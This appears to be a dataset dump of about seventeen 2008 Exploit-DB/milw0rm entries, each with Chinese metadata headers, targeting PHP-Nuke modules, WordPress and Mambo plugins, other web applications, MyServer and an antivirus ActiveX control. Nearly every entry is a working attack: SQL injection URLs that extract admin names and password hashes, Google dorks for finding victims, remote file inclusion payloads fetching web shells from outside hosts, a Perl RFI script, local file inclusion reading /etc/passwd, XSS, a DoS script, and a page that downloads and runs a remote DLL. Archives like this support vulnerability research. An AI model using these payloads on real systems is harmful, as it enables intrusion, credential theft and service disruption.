QLWD/code_shield huggingface dataset:
标题: PHP-Nuke Module Kose_Yazilari - 'artid' SQL Injection EDB-ID: 5186 CVE: 2008-1053 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-25 漏洞利用脚本: ##     ##     
   ##   ##      
    ## ##
     ###CoRPITX 
     ###     
    ## ##
   ##   ##
  ##     ##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#             
#  PHP-Nuke (Kose_Yazilari) SQL Injection Vulnerability 
#
#######################################################################
#  
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net
#
########################################################################
# WHEN YOU PUT THIS SQL CODE YOU can SEE ADMÃ½N NAME,ADMIN HASH 
########################################################################
#
#  DorK  1 : ''name Kose_Yazilari op viewarticle artid''
#  Dork  2 : ''name Kose_Yazilari op printpage artid''
########################################################################
#            
#  EXPLOIT: 
#
########################################################################
# 
#
modules.php?name=Kose_Yazilari&op=viewarticle&artid=-11223344%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,aid,pwd,4,5%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors
#
# 
#
modules.php?name=Kose_Yazilari&op=printpage&artid=-99999999%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F0,pwd,aid,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors
#
########################################################################

Thank my friends : pc faresi, hayalet,D3ng3s!z,SmoKin,apex,mostbiq

# milw0rm.com [2008-02-25] URL: https://www.exploit-db.com/exploits/5186
标题: DBHcms 1.1.4 - 'code' Remote File Inclusion EDB-ID: 5189 CVE: 2008-1038 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-25 漏洞利用脚本: #!/usr/bin/perl
# DBHcms <= 1.1.4 Remote File Inclusion exploit
# Vendor url: www.drbenhur.com
#
# exploit is hard to execute through a browser -possible though- since it's with POST
#       ~Iron
#       http://www.randombase.com
require LWP::UserAgent;
#Shell:
# <?php if(!empty($_GET['do'])){eval($_GET['do']);}?>
$shell_url = "http://localhost/s.txt";

print "#
#  DBHcms <= 1.1.4 Remote File Inclusion exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group
#
# Example target url: http://www.target.com/dhbcms/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
 $target = "http://".$target;
}
if($target !~ /\/$/)
{
 $target .= "/";
}
print "PHP code to evaluate? ";
chomp($code=<stdin>);
$code =~ s/(<\?php|\?>|<\?)//ig;
$target .= "dbhcms/mod/mod.extmanager.php?do=".$code;

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->post($target,
{
'extmanager_install' => $shell_url.'?'
});

if ($response->is_success)
{
 print "\n"."#" x 20 ."\n";
 if($response->content =~ /URL file-access/)
 {
  print 'Exploit failed';
 }
 else
 {
  print $response->content;
 }
 print "\n"."#" x 20 ."\n";
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-02-25] URL: https://www.exploit-db.com/exploits/5189
标题: WordPress Plugin Sniplets 1.1.2 - Remote File Inclusion / Cross-Site Scripting / Remote Code Execution EDB-ID: 5194 CVE: 2008-1061 2008-1060 2008-1059 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-26 漏洞利用脚本: ########################
Wordpress Plugin Sniplets 1.1.2 Multiple Vulnerabilities by NBBN
########################
1) Remote File Inclusion

File: /modules/syntax_highlight.php
Register Globals: ON
Vuln code:
<?php

/* Name: Syntax Highlight */
include_once ("$libpath/geshi/geshi.php");

Poc:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?




2) Cross-Site Scripting

Register Globals: ON
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/notice.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/inset.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/submenu.php?url=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3Cli%3E

Register Globals: Off

Vuln Line:(3) <input type="hidden" name="page" value="<?php echo 
$_GET['page'] ?>"/>
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/pager.php?page=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E


3) Remote Code Execution

Register Globals: ON
Code: 
<?php
/* Name: Execute as PHP */
if (substr ($text, 0, 4) == '<?php')
 $text = '?>'.$text;

eval ('?>'.$text);
?>

Poc: 
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);

# milw0rm.com [2008-02-26] URL: https://www.exploit-db.com/exploits/5194
标题: MiniNuke 2.1 - 'uid' SQL Injection EDB-ID: 5187 CVE: 2008-3888 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-25 漏洞利用脚本: ###############################################################
#
# MiniNuke v2.1 forum SQL Injection
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl:"members.asp?action"
#
# DORK 2 : allinurl: "members.asp"uid
#
################################################################
EXAMPLE=

members.asp?action=member_details&uid=SQL (exploit)

EXPLOIT 1 :

members.asp?action=member_details&uid=-1%20union%20select%200,sifre,0,0,0,0,0,kul_adi,0,sifre,kul_adi,sifre,1,1,1,sifre,1,1,1,isim,1,1,1,1,1,1,1,1%20from%20members

EXPLOIT 2 :

members.asp?action=member_details&uid=-1%20union%20select%200,0,0,0,0,0,0,sifre,0,sifre,0,1,1,sifre,14,sifre,1,1,1,1,2,1,2,2,2,2,2,2,2,2%20from%20members

EXPLLOIT 3 :

members.asp?action=member_details&uid=-1%20union%20select%200,1,sifre,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,2,2,kul_adi,sifre,2,kul_adi,sifre,2,2,2,sifre,3,3,3,isim,3,3,3,3,3,4,4,4%20from%20members


################################################################
# S@BUN               i AM NOT HACKER              S@BUN
################################################################

# milw0rm.com [2008-02-25] URL: https://www.exploit-db.com/exploits/5187
标题: MyServer 0.8.11 - '204 No Content' error Remote Denial of Service EDB-ID: 5184 CVE: 2008-5160 类型: DOS 平台: WINDOWS 发布日期: 2008-02-25 漏洞利用脚本: #exploit.py

import socket
import os

print '------------------------------------------------------------------'
print ' MyServer 0.8.11 "204 No Content" error Remote Denial of Service'
print ' url: www.myserverproject.net'
print ' author: shinnai'
print ' mail: shinnai[at]autistici[dot]org'
print ' site: http://shinnai.altervista.org'
print ' I do not have time for explanations, just to say that yuo can'
print ' use even other HTTP methods as GET, OPTIONS etc :-)'
print '------------------------------------------------------------------'

buff = "A" * 50
host = "127.0.0.1"
port = 80

for i in range (0,20):
    try:
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connection.connect((host, port))
        connection.send("DELETE" + buff + " HTTP/1.0\r\n")
    except:
        print "Unable to connect"

# milw0rm.com [2008-02-25] URL: https://www.exploit-db.com/exploits/5184
标题: Rising AntiVirus Online Scanner - Insecure Method Flaw EDB-ID: 5188 CVE: 2008-1116 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-25 漏洞利用脚本: <!--
- Rising is a popular anti-virus product around China.
- there's an insecure method flaw inside its free online scanner.
- it's quite easy to exploit the bug which leads to a remote execution.
- visit http://online.rising.com.cn/free/index.htm to install the ActiveX first.
- the demonstration below will download http://jsmith080220.googlepages.com/olupdate.zip and
  launch olupdate.dll inside the package.
- you can code olupdate.dll yourself, in this case, I played with harmless calc.exe
-->
<html>
<head><title>Rising Online Scanner Insecure Method Vulnerability</title></head>
<body>
<object style="display:none" classid="clsid:E4E2F180-CB8B-4DE9-ACBB-DA745D3BA153" height="265" id="rav" width="430" VIEWASTEXT>
<param NAME="BackColor" VALUE="#ECECEC">
<param NAME="ForeColor" VALUE="#000000">
</object>
<script>
function test()
{
rav.BaseURL = "http://jsmith080220.googlepages.com/";
rav.Encardid = "0000$0000$0000";
rav.UpdateEngine();
}
</script>
<input type="button" value=" Go " onclick="test()"><br><br>
wait for a few seconds after clicking the button
</body></html>

# milw0rm.com [2008-02-25] URL: https://www.exploit-db.com/exploits/5188
标题: PHPUserBase 1.3b - 'unverified.inc.php' Local File Inclusion EDB-ID: 5179 CVE: 2008-7240 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-23 漏洞利用脚本: #####################################################
#Author : BeyazKurt - Bey4zKurt@Gmail.Com
#
#Script : php User Base (1.3b)
#Risk : Local File Include
#Download : http://sourceforge.net/project/showfiles.php?group_id=200632
#
#File : include/unverified.inc.php
#
#Code :
#
# <?php
#   include("./templates/$template/global.inc.php");
# ?>
#
#Exploit :
#
# Vuln.Com/include/unverified.inc.php?template=CODE
#
#----------------------------
#
#                            INDEPENDENT KOSOVA (H)
#
#Not : I Love You GÃƒÂ¼lsÃƒÂ¼m (F)
#Thnx : " XbrainhunterX (Mehmet Akif) XX Parti :D "
#####################################################

# milw0rm.com [2008-02-23] URL: https://www.exploit-db.com/exploits/5179
标题: Portail Web PHP 2.5.1.1 - Multiple Inclusion Vulnerabilities EDB-ID: 5182 CVE: 2008-1068 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-24 漏洞利用脚本: ### Portail Web Php <= 2.5.1.1 Multiple Remote/Local File Inclusion Vulnerabilities
### http://surfnet.dl.sourceforge.net/sourceforge/portail-web-php/PwP2.5.1.1.rar
### POC :
### I- Remote File Inclusion
### /PwP2.5.1.1/template/Vert/index.php?site_path=http://localhost/020.txt
### /PwP2.5.1.1/template/Noir/index.php?site_path=http://localhost/020.txt
### /PwP2.5.1.1/template/Bleu/index.php?site_path=http://localhost/020.txt
### II- Local File Inclusion
### /PwP2.5.1.1/?page=../../../../../../../../etc/passwd
### I'm Tryagi - Tryag.Cc/cc - Mahmood_ali  :) 

# milw0rm.com [2008-02-24] URL: https://www.exploit-db.com/exploits/5182
标题: phpQLAdmin 2.2.7 - Multiple Remote File Inclusions EDB-ID: 5173 CVE: 2008-1067 2008-0167 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-22 漏洞利用脚本: # Name : phpQLAdmin 2.2.7  Multiple Remote File Include
# Download From : http://phpqladmin.com/phpQLAdmin-2.2.7.zip
# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]          
# Home Page :  WwW.4RxH.CoM  
+============================================================================+
# Vulne Code In Files ezmlm.php & update_translations.php
# Exploit :
http://www.4rxh.com/phpQLAdmin-2.2.7/ezmlm.php?_SESSION[path]=http://rxh.freehostia.com/shells/c99in.txt?
http://www.4rxh.com/tools/update_translations.php?_SESSION[path]=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s
Good Luck Everybody
+============================================================================+
# Greet To :
Tryag TeaM & All Members Of My Forum
# For Contact : RxH@HotMail.iT
# Note : Yesterday I Help You !! Tomorrow Fuck Me !!! Fuck All Snitches !!! But Do You Know What !!! That,s Is My Mistake
Best Wishes

# milw0rm.com [2008-02-22] URL: https://www.exploit-db.com/exploits/5173
标题: PHP-Nuke Module NukeC 2.1 - 'id_catg' SQL Injection EDB-ID: 5172 CVE: 2008-0934 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: =-==-==-==-==-==-==-==D==A==M==A==R==-==-==-==-==-==-==-==-==-==-==-=

PHP-NUKE Modules NukeC Module's Version: 2.1 Remote SQL Injection

###################################################################################

 

Found: DamaR
contact: By.DamaR@Hotmail.Com

Hack Bitti ama DÃ¶nmek YakÄ±n  Since 2000

iÃ§in yaklaÅŸÄ±k 9.080 sonuÃ§tan 1 - 10 arasÄ± sonuÃ§lar (0,17 saniye)


###################################################################################

Exploit:

/modules.php?name=NukeC&op=ViewCatg&id_catg=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2

###################################################################################


Module Copyright Â© Information
NukeC module for PHP-Nuke


 Module's Name: NukeC
 Module's Version: 2.1
 Module's Description: NukeC - The Advanced Advertising System for PHP-Nuke.
NukeC Addon Module is addon module built for work on PHP-Nuke, the great web portal system.
NukeC is an advertising system that allows website visitors or members to sell something by posting the information about the item that they want to sell. With the admin sections, you could easily manage all of contents and preferences in NukeC Modules eventhough you are not a PHP programmer.
NukeC 2.1 is only work on PHP-Nuke 6.5. Please Download 2.0 or earlier for PHP-Nuke 6.0 or earlier nuke version
 License: GNU/GPL
 Author's Name: Sudirman Angriawan
 Author's Email: nukecpower@yahoo.com


###################################################################################

# milw0rm.com [2008-02-21] URL: https://www.exploit-db.com/exploits/5172
标题: Quantum Game Library 0.7.2c - Remote File Inclusion EDB-ID: 5174 CVE: 2008-1069 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-22 漏洞利用脚本: # Name : Quantum Game Library 0.7.2c Multiple Remote File Include
# Download From : http://garr.dl.sourceforge.net/sourceforge/quantumstar/qsgen_0.7.2c.zip
# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]          
# Home Page :  WwW.4RxH.CoM  
+============================================================================+
# Vulne Code In Files server_request.php & smarty.inc.php In Line 2 & 1 :
require_once($CONFIG['gameroot']."/qlib/config/config.inc.php");
require_once($CONFIG['gameroot']."/qlib/smarty/libs/Smarty.class.php");
# Exploit :
http://www.4rxh.com/qsgen_0.7.2c/server_request.php?CONFIG[gameroot]=http://rxh.freehostia.com/shells/c99in.txt?
http://www.4rxh.com/qsgen_0.7.2c/qlib/smarty.inc.php?CONFIG[gameroot]=http://rxh.freehostia.com/shells/c99in.txt?
That,s It,s
Good Luck Everybody
+============================================================================+
# Greet To :
Tryag TeaM & All Members Of My Forum
# For Contact : RxH@HotMail.iT
# Note : Yesterday I Help You !! Tomorrow Fuck Me !!! Fuck All Snitches !!! But Do You Know What !!! That,s Is My Mistake
Best Wishes

# milw0rm.com [2008-02-22] URL: https://www.exploit-db.com/exploits/5174
标题: PHPUserBase 1.3b - 'unverified.inc.php' Remote File Inclusion EDB-ID: 5180 CVE: 2008-1043 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-24 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                         [ Remote File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : PitBull Crew           ? ?                                    ?
?   Script   : phpUserBase 1.3 BETA   ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????

     http://localhost/path/templates/default/header.inc.php?menu=[SHELL]    
   
??????????????????????????????????????????????????????????????????????????????
 
   Greets:
       
       The_PitBull, Raz0r, iNs, WizzKidd, Sad, S|AyER, Ehab, Tfaces, Guzman,
       Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, adal, xD

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-02-24] URL: https://www.exploit-db.com/exploits/5180
标题: BeContent 031 - 'id' SQL Injection EDB-ID: 5170 CVE: 2008-0921 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: Founder By Cr@zy_King

HackShow.Us

BeContent v.031 (id) Remote Sql  Vuln.

Down : http://code.google.com/p/becontent/downloads/list?id_menu=9

Exploit:

news.php?id=-3+union+select+1,concat_ws(0x3a,username,password),3,4+from+users

Greatz : Barakuda (GraBBerZ team) & Crackers_Child & Eno7 & DreamTurk & Gencturk & Constantine

Not : Ayyildiz 'da Askeri Åžurada YayinladÄ±gÄ±m AÃ§Ä±klarÄ± KullananlarÄ±n hepsinin a.q yyim bunlarÄ±da kullananlarÄ±nda a.qyyim

AlayÄ±na Ä°syan KralÄ±na Hodri Meydan Sozum Metehan'a ;) Hadi eyw.

side note: seems this vulnerability was found around a month earlier by (GraBBerZ TeaM)

# milw0rm.com [2008-02-21] URL: https://www.exploit-db.com/exploits/5170
标题: PHP-Nuke Modules Manuales 0.1 - 'cid' SQL Injection EDB-ID: 5168 CVE: 2008-0922 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: =-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

PHP-NUKE Modules Manuales v0.1 Remote SQL Injection

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
modules.php?name=Manuales&d_op=viewdownload&cid=1/**/union/**/select/**/0,aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke,

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2008-02-21] URL: https://www.exploit-db.com/exploits/5168
标题: PHPProfiles 4.5.2 Beta - 'body_comm.inc.php' Remote File Inclusion EDB-ID: 5175 CVE: 2008-1051 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-23 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                         [ Remote File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : PitBull Crew           ? ?                                    ?
?   Script   : phpProfiles 4.5.2 BETA ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  ?????????????????????????????????????????????????????????????????????????
 http://localhost/path/Full_Release/include/body_comm.inc.php?content=[SHELL]    
   
??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, S|AyER, Ehab, Tfaces, Guzman, adal,
       Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, xD

??????????????????????????????????????????????????????????????????????????????
??                              ? CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-02-23] URL: https://www.exploit-db.com/exploits/5175
标题: Mambo Component garyscookbook 1.1.1 - SQL Injection EDB-ID: 5178 CVE: 2008-1137 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-23 漏洞利用脚本: ###############################################################
#
# joomla com_garyscookbook SQL Injection(id)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
#    there are alot site but exploit not working for all Ä± found alot
#
# DORK 1 : allinurl:"com_garyscookbook"
#
# DORK 2 : allinurl: com_garyscookbook "detail"
#
################################################################
EXPLOIT :

index.php?option=com_garyscookbook&Itemid=S@BUN&func=detail&id=-666/**/union+select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,username+from%2F%2A%2A%2Fmos_users/*


################################################################
# S@BUN             i AM NOT HACKER               S@BUN
################################################################

  <name>garyscookbook</name>
  <creationDate>4-9-2005</creationDate>
  <author>Gerald Berger</author>
  <copyright>This component is released under the GNU/GPL License</copyright>
  <authorEmail>gerald@vb-dozent.net</authorEmail>

  <authorUrl>www.vb-dozent.net</authorUrl>
  <version>1.1.1</version>
  <description>Garys Cookbook is a fully integrated Mambo Cookbook component.</description>

# milw0rm.com [2008-02-23] URL: https://www.exploit-db.com/exploits/5178